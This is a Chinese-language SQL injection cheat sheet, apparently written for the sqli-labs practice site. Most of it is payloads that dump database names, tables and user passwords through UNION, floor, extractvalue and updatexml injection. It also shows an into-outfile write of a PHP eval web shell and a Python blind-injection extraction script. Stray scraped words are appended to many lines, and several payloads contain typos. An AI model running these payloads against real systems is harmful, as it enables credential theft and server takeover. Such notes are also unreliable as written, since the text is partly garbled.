類型判斷
?id=1 and 1=2 --+php
若是返回結果正常,說明不是數字類型python
and 爲兩方都爲真纔算爭取sql
?id=1' --+ 顯示不正常
?id=1') --+ 若顯示正常,則該類型爲字符注入,且以('')的方式閉合字符串,還有("")數據庫
--+ 是註釋,由於瀏覽器在發送請求的時候會把URL末尾的空格捨去,因此咱們用--+代替-- ,緣由是+在URL被URL編碼後會變成空格。瀏覽器
利用order by查看有多少列
?id=1 order by 1 --+
?id=1 order by 2 --+
... 一直到出現 Unknown column '行數' in 'order clause' 爲止服務器
小技巧:能夠選擇一個較大的數字來分組函數
查詢數據庫名
?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+post
id=-1' 是爲了後面的內容可以正確顯示,若前面能直接查詢,後面可能查詢不完整學習
經過查詢到的數據庫名查看錶名
?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='數據庫名') --+測試
利用表名爆破列名
?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
整合信息
?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
floor函數(取整)
?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+
若返回 Subjectquery returns more than 1 row 多是由於限制了返回的字符長度
0x7e 是符號‘~’的十六進制限制64位
extractvalue函數
?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+
select database() 可替換爲其餘查詢語句
extractvalue(XML_document, XPath_string);返回長度爲32個字符長度
updatexml函數
?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+
select database() 可替換爲其餘查詢語句
updatexml(XML_document, XPath_string,new_value);返回長度爲32個字符長度
瞭解
file權限:數據庫用戶是否有權限向操做系統寫入和讀取已存在的權限
into outfile:服務器上一個能夠寫入文件的文件夾的完整路徑
將結果保存在本地文件
?id=1')) union select 1,2,3 into outfile '有讀取權限的路徑\文件名.文件類型'; --+
注意使用''進行轉義,即路徑寫爲‘\’
不會覆蓋已存在的文件名
嘗試一句話木馬
?id=1')) union selet 1,2,'<?php @eval($_post['test']); ?>' into outfile '有讀取權限的路徑\文件名.php'; --+
可嘗試使用中國菜刀等軟件
注意MySQL 5.7版本以後into outfile默認是禁用的,須要從新走一下初始化
在ini或者cnf初始化文件中加入初始化設定 secure_file_priv=''
經常使用函數
1.1 mid(string,start,length)函數
string(必需)規定要返回其中一部分的字符串
start(必需)規定開始位置(起始值爲1)
length(可選)要返回的字符數。若是省略,則mid()函數返回剩餘文本
1.2 substr(string,start,length) 函數
string(必需)規定要返回其中一部分的字符串
start(必需)規定在字符串的何處開始
length(可選)規定被返回字符串的長度
1.3 left(string, length)函數
string(必需)規定要返回其中一部分的字符串
length(可選)規定被返回字符串的前length長度的字符
數據庫字符串判斷
?id=1' and left(database(),1)='字符串' --+
數據庫第一個字符串是否等於'字符串'
數據庫第二個字符串即,left(database(),1)='字符串',通常使用python腳本進行判斷
import requests import os #此函數先判斷數據庫長度 def length(url,str): num = 1 while True: str_num = '%d' %num len_url = url + "' and (select length(database()) = " + str_num +")--+" response = requests.get(len_url) if str in response.text: print("數據庫長度爲:%s" %str_num) content(url,str,num) break else: num = num + 1 #此函數判斷字符串具體的內容 def content(url,str,num): s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] con_num = 1 while con_num <= num: str_num = '%d' %con_num for i in s: con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+" response = requests.get(con_url) if str in response.text: fwrite(i) con_num = con_num + 1 #此函數對字符串的內容作記錄並輸出 def fwrite(i): # fp = open("cache.txt",'a') # fp.write(i) # fp.close() print(i) if __name__ == '__main__': url = "http://localhost/sqli-labs/Less-5/?id=1" response = requests.get(url) str = "You are in..........." if str in response.text: length(url,str) else: print("請輸入正確的地址")
時間盲注原理
經過IF來判斷咱們輸入是否正確,若是正確馬上返回,若是錯誤則延遲數秒返回。
網站關閉了錯誤回顯或過濾了關鍵字,網頁只會返回狀態。
測試
Please input the ID as parameter with numeric value 錯誤排除:可能書寫爲?id = 1 ,不要有多餘的空格,應該寫爲?id=1